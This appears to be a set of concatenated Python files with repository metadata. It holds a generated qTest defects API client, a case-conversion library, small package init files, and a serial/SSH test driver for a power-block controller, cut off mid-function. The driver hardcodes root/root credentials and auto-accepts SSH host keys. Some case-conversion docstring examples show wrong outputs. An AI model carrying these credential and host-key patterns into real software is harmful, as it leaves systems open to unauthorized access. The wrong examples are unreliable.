The result is paginated. By the default, the number of objects in each page is 100. You can specify your custom number in this parameter. The maximum page size is 999. :param int page: By default the first page is returned but you can specify any page number to retrieve objects :return: list[DefectResource] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_last_changed_with_http_info(project_id, start_time, **kwargs) else: (data) = self.get_last_changed_with_http_info(project_id, start_time, **kwargs) return data def get_last_changed_with_http_info(self, project_id, start_time, **kwargs): """ Gets recently updated Defects To retrieve Defects which have been recently updated after a specified time This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_last_changed_with_http_info(project_id, start_time, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str start_time: The specified time since when the Defects have been updated. It needs to be URL encoded: yyyy-MM-dd'T'HH:mm:ss.SSSZ or yyyy-MM-dd'T'HH:mm:ssZZ (required) :param str end_time: Do not support at this time. Use the current time only. :param int size: The result is paginated. By the default, the number of objects in each page is 100. You can specify your custom number in this parameter. The maximum page size is 999. :param int page: By default the first page is returned but you can specify any page number to retrieve objects :return: list[DefectResource] If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'start_time', 'end_time', 'size', 'page'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_last_changed" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `get_last_changed`") # verify the required parameter 'start_time' is set if ('start_time' not in params) or (params['start_time'] is None): raise ValueError("Missing the required parameter `start_time` when calling `get_last_changed`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/last-change'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] query_params = {} if 'start_time' in params: query_params['startTime'] = params['start_time'] if 'end_time' in params: query_params['endTime'] = params['end_time'] if 'size' in params: query_params['size'] = params['size'] if 'page' in params: query_params['page'] = params['page'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[DefectResource]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def submit_defect(self, project_id, body, **kwargs): """ Submit a Defect To submit an internal Defect This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.submit_defect(project_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param DefectResource body: properties: a JSONArray of field-value pairs attachments: a JSONArray of Attachment objects (required) :return: DefectResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.submit_defect_with_http_info(project_id, body, **kwargs) else: (data) = self.submit_defect_with_http_info(project_id, body, **kwargs) return data def submit_defect_with_http_info(self, project_id, body, **kwargs): """ Submit a Defect To submit an internal Defect This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.submit_defect_with_http_info(project_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param DefectResource body: properties: a JSONArray of field-value pairs attachments: a JSONArray of Attachment objects (required) :return: DefectResource If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'body'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method submit_defect" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `submit_defect`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `submit_defect`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DefectResource', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def update_comment(self, project_id, id_or_key, comment_id, body, **kwargs): """ Updates a Comment of a Defect To update a specific Comment of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.update_comment(project_id, id_or_key, comment_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the defect whose comment you want to update (required) :param int comment_id: ID of the comment (required) :param CommentResource body: Given resource to update a comment. (required) :return: CommentResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.update_comment_with_http_info(project_id, id_or_key, comment_id, body, **kwargs) else: (data) = self.update_comment_with_http_info(project_id, id_or_key, comment_id, body, **kwargs) return data def update_comment_with_http_info(self, project_id, id_or_key, comment_id, body, **kwargs): """ Updates a Comment of a Defect To update a specific Comment of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.update_comment_with_http_info(project_id, id_or_key, comment_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the defect whose comment you want to update (required) :param int comment_id: ID of the comment (required) :param CommentResource body: Given resource to update a comment. (required) :return: CommentResource If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'id_or_key', 'comment_id', 'body'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method update_comment" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `update_comment`") # verify the required parameter 'id_or_key' is set if ('id_or_key' not in params) or (params['id_or_key'] is None): raise ValueError("Missing the required parameter `id_or_key` when calling `update_comment`") # verify the required parameter 'comment_id' is set if ('comment_id' not in params) or (params['comment_id'] is None): raise ValueError("Missing the required parameter `comment_id` when calling `update_comment`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `update_comment`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/{idOrKey}/comments/{commentId}'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] if 'id_or_key' in params: path_params['idOrKey'] = params['id_or_key'] if 'comment_id' in params: path_params['commentId'] = params['comment_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='CommentResource', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def update_defect(self, project_id, defect_id, body, **kwargs): """ Updates a Defect To update a Defect qTest Manager version: 6+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.update_defect(project_id, defect_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param int defect_id: ID of the Defect which needs to be updated. (required) :param DefectResource body: The Defect's updated properties (required) :return: DefectResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.update_defect_with_http_info(project_id, defect_id, body, **kwargs) else: (data) = self.update_defect_with_http_info(project_id, defect_id, body, **kwargs) return data def update_defect_with_http_info(self, project_id, defect_id, body, **kwargs): """ Updates a Defect To update a Defect qTest Manager version: 6+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.update_defect_with_http_info(project_id, defect_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param int defect_id: ID of the Defect which needs to be updated. (required) :param DefectResource body: The Defect's updated properties (required) :return: DefectResource If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'defect_id', 'body'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method update_defect" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `update_defect`") # verify the required parameter 'defect_id' is set if ('defect_id' not in params) or (params['defect_id'] is None): raise ValueError("Missing the required parameter `defect_id` when calling `update_defect`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `update_defect`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/{defectId}'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] if 'defect_id' in params: path_params['defectId'] = params['defect_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DefectResource', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

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1

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null

0

8

79662dfebfc4d3b45fa5c9225f73eb241645f17c

8,781

py

Python

case_conversion/converter.py

AlejandroFrias/case-conversion

a62128c14691e87865435ae56c15119f38de65c5

[ "MIT" ]

18

2016-05-03T19:33:05.000Z

2022-03-25T14:37:14.000Z

case_conversion/converter.py

AlejandroFrias/case-conversion

a62128c14691e87865435ae56c15119f38de65c5

[ "MIT" ]

21

2016-12-13T10:30:52.000Z

2021-05-13T15:32:35.000Z

case_conversion/converter.py

AlejandroFrias/case-conversion

a62128c14691e87865435ae56c15119f38de65c5

[ "MIT" ]

7

2016-07-24T13:14:51.000Z

2022-02-06T12:39:36.000Z

from typing import List, Optional from .parser import parse_case def camel(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in camelCase style. Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> camel("hello world") 'helloWorld' >>> camel("HELLO_HTML_WORLD", ["HTML"]) 'helloHTMLWorld' """ words, *_ = parse_case(text, acronyms) if words: words[0] = words[0].lower() return "".join(words) def pascal(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in PascalCase style. This case style is also known as: MixedCase Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> pascal("hello world") 'HelloWorld' >>> pascal("HELLO_HTML_WORLD", ["HTML"]) 'HelloHTMLWorld' """ words, *_ = parse_case(text, acronyms) return "".join(words) def snake(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in snake_case style. Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honort Returns: str: Case converted text Examples: >>> snake("hello world") 'hello_world' >>> snake("HelloHTMLWorld", ["HTML"]) 'hello_html_world' """ words, *_ = parse_case(text, acronyms) return "_".join([w.lower() for w in words]) def dash(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in dash-case style. This case style is also known as: kebab-case, spinal-case, slug-case Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> dash("hello world") 'hello-world' >>> dash("HelloHTMLWorld", ["HTML"]) 'hello-html-world' """ words, *_ = parse_case(text, acronyms) return "-".join([w.lower() for w in words]) def const(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in CONST_CASE style. This case style is also known as: SCREAMING_SNAKE_CASE Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> const("hello world") 'HELLO_WORLD' >>> const("helloHTMLWorld", ["HTML"]) 'HELLO_HTML_WORLD' """ words, *_ = parse_case(text, acronyms) return "_".join([w.upper() for w in words]) def dot(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in dot.case style. Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> dot("hello world") 'hello.world' >>> dot("helloHTMLWorld", ["HTML"]) 'hello.html.world' """ words, *_ = parse_case(text, acronyms) return ".".join([w.lower() for w in words]) def separate_words(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in "seperate words" style. Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> separate_words("HELLO_WORLD") 'HELLO WORLD' >>> separate_words("helloHTMLWorld", ["HTML"]) 'hello HTML World' """ words, *_ = parse_case(text, acronyms, preserve_case=True) return " ".join(words) def slash(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in slash/case style. Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> slash("HELLO_WORLD") 'HELLO/WORLD' >>> slash("helloHTMLWorld", ["HTML"]) 'hello/HTML/World' """ words, *_ = parse_case(text, acronyms, preserve_case=True) return "/".join(words) def backslash(text: str, acronyms: Optional[List[str]] = None) -> str: r"""Return text in backslash\case style. Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> backslash("HELLO_WORLD") r'HELLO\WORLD' >>> backslash("helloHTMLWorld", ["HTML"]) r'hello\HTML\World' """ words, *_ = parse_case(text, acronyms, preserve_case=True) return "\\".join(words) def ada(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in Ada_Case style. This case style is also known as: Camel_Snake Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> ada("hello_world") Hello_World >>> ada("helloHTMLWorld", ["HTML"]) Hello_HTML_World """ words, *_ = parse_case(text, acronyms) return "_".join([w.capitalize() for w in words]) def http_header(text: str, acronyms: Optional[List[str]] = None) -> str: """Return text in Http-Header-Case style. Args: text (str): Input string to be converted acronyms (optional, list of str): List of acronyms to honor Returns: str: Case converted text Examples: >>> http_header("hello_world") Hello-World >>> http_header("helloHTMLWorld", ["HTML"]) Hello-HTML-World """ words, *_ = parse_case(text, acronyms) return "-".join([w.capitalize() for w in words]) def lower(text: str, *args, **kwargs) -> str: """Return text in lowercase style. This is a convenience function wrapping inbuilt lower(). It features the same signature as other conversion functions. Note: Acronyms are not being honored. Args: text (str): Input string to be converted args : Placeholder to conform to common signature kwargs : Placeholder to conform to common signature Returns: str: Case converted text Examples: >>> lower("HELLO_WORLD") hello_world >>> lower("helloHTMLWorld", ["HTML"]) Hello_HTML_world """ return text.lower() def upper(text: str, *args, **kwargs) -> str: """Return text in UPPERCASE style. This is a convenience function wrapping inbuilt upper(). It features the same signature as other conversion functions. Note: Acronyms are not being honored. Args: text (str): Input string to be converted args : Placeholder to conform to common signature kwargs : Placeholder to conform to common signature Returns: str: Case converted text Examples: >>> upper("hello_world") HELLO_WORLD >>> upper("helloHTMLWorld", ["HTML"]) Hello_HTML_world """ return text.upper() def title(text: str, *args, **kwargs) -> str: """Return text in Title_case style. This is a convenience function wrapping inbuilt title(). It features the same signature as other conversion functions. Note: Acronyms are not being honored. Args: text (str): Input string to be converted args : Placeholder to conform to common signature kwargs : Placeholder to conform to common signature Returns: str: Case converted text Examples: >>> title("hello_world") Hello_world >>> title("helloHTMLWorld", ["HTML"]) Hello_HTML_world """ return text.title() def capital(text: str, *args, **kwargs) -> str: """Return text in Capital case style. This is a convenience function wrapping inbuilt capitalize(). It features the same signature as other conversion functions. Note: Acronyms are not being honored. Args: text (str): Input string to be converted args : Placeholder to conform to common signature kwargs : Placeholder to conform to common signature Returns: str: Case converted text Examples: >>> capital("hello_world") HELLO_WORLD >>> capital("helloHTMLWorld", ["HTML"]) Hello_HTML_world """ return text.capitalize()

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0

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0.274001

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0

null

0

1

0

null

0

1

0

1

0

8

798a815aa120afe24209666491527feb1355ccc6

100

py

Python

core/auth/local/__init__.py

yeti-threatintel/yeti

9e8b76cd393f149c4990ead003902eac50c1766d

[ "Apache-2.0" ]

1,250

2017-03-12T16:20:47.000Z

2022-03-29T02:12:11.000Z

core/auth/local/__init__.py

yeti-threatintel/yeti

9e8b76cd393f149c4990ead003902eac50c1766d

[ "Apache-2.0" ]

540

2017-03-20T16:45:35.000Z

2022-03-22T16:55:02.000Z

core/auth/local/__init__.py

yeti-threatintel/yeti

9e8b76cd393f149c4990ead003902eac50c1766d

[ "Apache-2.0" ]

293

2017-03-20T13:59:07.000Z

2022-03-28T16:00:10.000Z

from core.auth.local.views import auth from core.auth.local.user_management import get_default_user

33.333333

60

0.86

17

100

4.882353

0.588235

0.192771

0.289157

0.409639

0

0.08

100

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true

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null

0

1

0

1

0

1

0

7

8de0c41b3cf54e7ac5de2e315b41f7a9ca776f53

321

py

Python

mmdeploy/codebase/mmdet3d/models/__init__.py

xizi/mmdeploy

6f0569156cd93412e4571ccfb6f0c4fbbacf3cdc

[ "Apache-2.0" ]

746

2021-12-27T10:50:28.000Z

2022-03-31T13:34:14.000Z

mmdeploy/codebase/mmdet3d/models/__init__.py

xizi/mmdeploy

6f0569156cd93412e4571ccfb6f0c4fbbacf3cdc

[ "Apache-2.0" ]

253

2021-12-28T05:59:13.000Z

2022-03-31T18:22:25.000Z

mmdeploy/codebase/mmdet3d/models/__init__.py

xizi/mmdeploy

6f0569156cd93412e4571ccfb6f0c4fbbacf3cdc

[ "Apache-2.0" ]

147

2021-12-27T10:50:33.000Z

2022-03-30T10:44:20.000Z

# Copyright (c) OpenMMLab. All rights reserved. from .base import * # noqa: F401,F403 from .centerpoint import * # noqa: F401,F403 from .mvx_two_stage import * # noqa: F401,F403 from .pillar_encode import * # noqa: F401,F403 from .pillar_scatter import * # noqa: F401,F403 from .voxelnet import * # noqa: F401,F403

40.125

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321

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1

0

null

0

1

0

1

0

1

0

7

8dec6f5db108207f66e53e121ed45ad5391ae9ba

32,925

py

Python

PBC_SSH_Comm.py

scatelani-cpi/PBC_Chassis-Shell

f469774477c6854c2d646c6e6cd3b4f5ebd593fa

[ "MIT" ]

null

PBC_SSH_Comm.py

scatelani-cpi/PBC_Chassis-Shell

f469774477c6854c2d646c6e6cd3b4f5ebd593fa

[ "MIT" ]

null

PBC_SSH_Comm.py

scatelani-cpi/PBC_Chassis-Shell

f469774477c6854c2d646c6e6cd3b4f5ebd593fa

[ "MIT" ]

null

import serial import json import paramiko import os import sys import time import re import logging ''' PBC SSH Driver v2021-0620-r1 ''' class PBC_Ser(object): def __init__(self, serial_comport: str): self.serialcom = serial.Serial(serial_comport, 115200) def send_data(self, data_out: str): self.data = data_out self.serialcom.write(self.data.encode()) time.sleep(.1) def close(self): self.serialcom.close() time.sleep(.1) def enable_ssh(self): # last_ip = input('Input last IP address in hex <xxxx> for UUT:') # while not last_ip: # last_ip = input('Input last IP address in hex <xxxx> for UUT:') self.pbc_console_login() self.pbc_console_exit() print(f'Please wait, exiting PBC console...') # self.send_data("\r") # time.sleep(1) # self.send_data("\r") # time.sleep(.5) self.send_data("root\r") time.sleep(.5) self.send_data("root\r") time.sleep(1) self.send_data("ip addr add fe80::ffd2:8387:281b:1074/255.255.255.0 dev br0\r") time.sleep(1) print(f'Your PBC IP address is: fe80::ffd2:8387:281b:1074') def enable_ssh_2(self): # last_ip = input('Input last IP address in hex <xxxx> for UUT:') # while not last_ip: # last_ip = input('Input last IP address in hex <xxxx> for UUT:') # self.pbc_console_login() # self.pbc_console_exit() # self.pbc_console_exit() # self.pbc_console_exit() print(f'Please wait, exiting PBC console...') self.send_data("admin\r") time.sleep(1) self.send_data("config\r") time.sleep(.5) self.send_data("sudo -s\r") time.sleep(.5) self.send_data("config\r") time.sleep(1) self.send_data("ip addr add fe80::ffd2:8387:281b:1074/255.255.255.0 dev br0\r") time.sleep(1) print(f'Your PBC IP address is: fe80::ffd2:8387:281b:1074') def pbc_console_login(self): self.send_data('root\r') self.send_data('root\r') def pbc_console_exit(self): self.send_data('\x03') # send ctrl + c key self.send_data('exit\r') time.sleep(9) # Must wait for console exit def enter_chassis_shell(self): self.send_data("chassis-shell\r") def exit_chassis_shell(self): self.send_data('\x03') # send ctrl + c key def return_chassis_shell_root(self): self.send_data('/\r') # send ctrl + c key class PBC_SSH(object): def __init__(self, addr: str): # self.port = 22 # self.user = 'root' # self.password = 'root' # self.timeout = 23 self.response = str() self.match = str() self.ssh = paramiko.SSHClient() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh.connect(addr, 22, 'root', 'root') self.channel = self.ssh.invoke_shell() self._logger = logging.getLogger(self.__class__.__name__) def pbc_comm_test(self): """performing this test will login to chassis-shell CLI""" if self.process_channel("chassis-shell\r").find("/>") == -1: return False else: return True def pbc_end_connection(self): self.ssh.close() def json_from_s(self, s): self.match = re.findall(r"{.+[:,].+}|\[.+[,:].+\]", s) return json.loads(self.match[0]) if self.match else None def process_channel(self, input): self.channel_data = str() self.host = str() self.scrfile = str() time.sleep(.5) self.channel.send(input) time.sleep(1.5) if self.channel.recv_ready(): self.channel_data += str(self.channel.recv(9999).decode("utf8")) # print(self.channel_data) self._logger.info(self.channel_data) return self.channel_data # ######################### Communication Test ########################### def can_dump(self): self.process_channel("candump can0 | grep 7[0-9]\r") time.sleep(5) self.process_channel("\x03") # ######################### EMB Tests ########################### def pbc_console_login_old(self): self.process_channel('root\r') self.process_channel('root\r') def pbc_console_login(self): # self.process_channel('admin\r') # time.sleep(.5) # self.process_channel('config\r') # time.sleep(.5) self.process_channel('sudo -s\r') time.sleep(.5) self.process_channel('config\r') def pbc_console_exit(self): self.process_channel('\x03') # send ctrl + c key self.process_channel('exit\r') def enter_chassis_shell(self): self.process_channel("chassis-shell\r") def exit_chassis_shell(self): self.process_channel('\x03') # send ctrl + c key def return_chassis_shell_root(self): self.process_channel('/\r') # send ctrl + c key def platform_sw_version(self): self.process_channel("/\r") self.process_channel("/Platform\r") self.process_channel("/PowerMonitor/board-rev\r") def init_all_can(self, evt: bool): # Include the PM --no-detect bypass, must remove for DVT self.process_channel("CCB can0\r") self.process_channel("AUXPS can0\r") self.process_channel("/PM\r") if evt: self.pm_no_detect() for i in range(1, 6): self.process_channel('/PM/PM' + str(i) + ' can0\r') def init_all_pm(self): self.process_channel('/\r') self.process_channel('/PM\r') for i in range(1, 6): self.process_channel('PM' + str(i) + ' can0\r') def pm_init(self, pm): self.process_channel('/\r') self.process_channel('/PM\r') self.process_channel('PM' + str(pm) + ' can0\r') print(f'\nWating for PM{pm} to come online...') time.sleep(6) def get_temps(self): self.process_channel("/\r") self.process_channel("/TempSensor/TEMP1\r") self.process_channel("/CCB/temps\r") time.sleep(1) self.process_channel("/AUXPS/temps\r") time.sleep(1) self.process_channel("/PowerMonitor/temp 0\r") # Powermonitor read DRY-Zone RTD temp read on C time.sleep(1) def toggle_all_pm(self): self.process_channel("/\r") for i in range(1, 6): self.process_channel('/PM/PM' + str(i) + ' op\r') time.sleep(.5) def show_pm_status(self, pm): self.process_channel("/\r") self.process_channel("/PM\r") self.process_channel("PM" + str(pm) + "\r") # ################### PBC LV Tests ######################### def ext_chassis_led(self, r, g): if r == 1: self.process_channel("/ExtChassisLed/RED1 1\r") # Set GREEN ON if r == 0: self.process_channel("/ExtChassisLed/RED1 0\r") # Set GREEN ON if g == 1: self.process_channel("/ExtChassisLed/GREEN1 1\r") # Set GREEN ON if g == 0: self.process_channel("/ExtChassisLed/GREEN1 0\r") # Set GREEN ON def dry_zone_fan(self, fan, speed, enable): self.process_channel("/Fan/DRY-Zone-" + str(fan) + "\r") # Enter PBC Fan directory self.process_channel("speed " + str(speed) + "\r") # Set PBC Fan speed time.sleep(1.5) self.process_channel("power " + str(enable) + "\r") # Set PBC Fan enable time.sleep(1.5) self.process_channel("\r") # Status PBC Fan def dry_zone_one_fan_ctrl(self, fan, sp_else_pwr, enable): self.process_channel("/Fan/DRY-Zone-" + str(fan) + "\r") # Enter PBC Fan directory if sp_else_pwr: sp = "100" if enable else "0" self.process_channel("speed " + str(sp) + "\r") # Set PBC Fan speed time.sleep(.25) if not sp_else_pwr: self.process_channel("power " + str(enable) + "\r") # Set PBC Fan enable time.sleep(.25) self.process_channel("\r") # Status PBC Fan # time.sleep(.5) def dry_zone_fan_current(self, fan): # DRY-Zone fan currents Powermonitor read DRY-Zone fan 1 and 2 self.process_channel("/PowerMonitor/fan " + str(fan) + "\r") # Powermonitor read DRY-Zone fan 1 def gpio_expander(self): self.process_channel("/\r") self.process_channel("/GpioExpander\r") # Read GpioExpander status def safety_sw(self, category): self.process_channel("/Reed\r") if category == 'thermal': self.process_channel("/ThermalSw\r") # Read ThermalSw status if category == 'reed': self.process_channel("/Reed\r") if category == 'reed1': self.process_channel("REED1-DoorWetBoxFront\r") if category == 'surge': self.process_channel("/SurgeDet\r") # def pm_present_can_id(): # toggle_all_pm() # show_pm_status() # CCB Tests def ccb_init(self): self.process_channel('\x03') # send ctrl + c key self.enter_chassis_shell() self.process_channel("/CCB can0\r") time.sleep(1) # self.process_channel("/CCB op\r") def ccb_info(self): self.process_channel("/\r") self.process_channel("/CCB\r") def ccb_read_logs(self): # self.process_channel(".quit\r") self.process_channel("cat /var/log/CCB-selftest.log\r") # read dump def ccb_bl_fw_version(self): self.process_channel("/CCB/bootversion\r") self.process_channel("/CCB/appversion\r") def ccb_fault_info(self): self.process_channel("/CCB/faultInfo\r") def ccb_fan_bank_info(self, fanBank): if fanBank == 1: self.process_channel("/CCB/fanBank1\r") if fanBank == 2: self.process_channel("/CCB/fanBank2\r") if fanBank == 3: self.process_channel("/CCB/fanBank3\r") def ccb_pump_info(self): self.process_channel("/CCB/pump\r") def ccb_self_test(self): # must run before trying to poll for CCB faults in ccb_fault_info() self.process_channel("/CCB/selfTest\r") def ccb_coolant_level(self): # must run while filling up coolant tank self.process_channel("/CCB/coolantLevel\r") def ccb_fan_speed(self, b_num, f_speed): # <bank_number> <speed 0-100> set fan-bank speed self.process_channel("/CCB/fanspeed " + str(b_num) + " " + str(f_speed) + "\r") # Set CCB Fan speed time.sleep(1) def ccb_pump_speed(self, p_speed): # <speed 0-100> set pump speed self.process_channel("/CCB/pumpspeed " + " " + str(p_speed) + "\r") # Set CCB pump speed time.sleep(1) # Close Loop Thermal Control def autoThermal(self, poll, log_freq): # <bank_number> <speed 0-100> set fan-bank speed self.process_channel("/PowerBlock/autoThermal " + str(poll) + "\r") # Set to close loop and poll freq time.sleep(1) self.process_channel("/PowerBlock/logInfo " + str(log_freq) + "\r") # Set to log freq in sec, default 5 sec time.sleep(1) # AUXPS Tests def auxps_info(self): # self.process_channel("/\r") self.process_channel("/AUXPS\r") def auxps_init(self): self.process_channel("/\r") self.process_channel("/AUXPS can0\r") def auxps_read_logs(self): # self.process_channel(".quit\r") time.sleep(1) self.process_channel("cat /var/log/AuxPS-selftest.log\r") # read dump def auxps_remove_logs(self): # self.process_channel(".quit\r") time.sleep(1) self.process_channel("rm -v /var/log/AuxPS-selftest.log\r") # read dump def auxps_bl_fw_version(self): self.process_channel("/AUXPS/bootversion\r") self.process_channel("/AUXPS/appversion\r") def auxps_fault_info(self): self.process_channel("/AUXPS/faults\r") def auxps_bank_info(self, auxBank): if auxBank == 'ccb': return self.json_from_s(self.process_channel("/AUXPS/CCBChannel\r")) if auxBank == 'pbc': return self.json_from_s(self.process_channel("/AUXPS/PBCChannel\r")) if auxBank == 'ext': return self.json_from_s(self.process_channel("/AUXPS/ExtChannel\r")) if auxBank == 'input': return self.json_from_s(self.process_channel("/AUXPS/InputChannel\r")) def auxps_channel_ctrl(self, ch: str, set_to: str): # <ccb|pbc|ext> <0-3> 0:enable, 1:disable self.process_channel(f"/AUXPS/channelCtrl {ch} {set_to}\r") if ch == 'ccb': return self.json_from_s(self.process_channel("/AUXPS/CCBChannel\r")) if ch == 'pbc': return self.json_from_s(self.process_channel("/AUXPS/PBCChannel\r")) if ch == 'ext': return self.json_from_s(self.process_channel("/AUXPS/ExtChannel\r")) def auxps_self_test(self): # must run before trying to poll for AUXPS faults in AUXPS_fault_info() self.process_channel("/AUXPS/selfTest\r") def auxps_shunt_ctrl(self, s_state): # self.process_channel("/AUXPS/shuntControl " + str(s_state) + "\r") def auxps_fan_speed(self, af_speed): # <speed 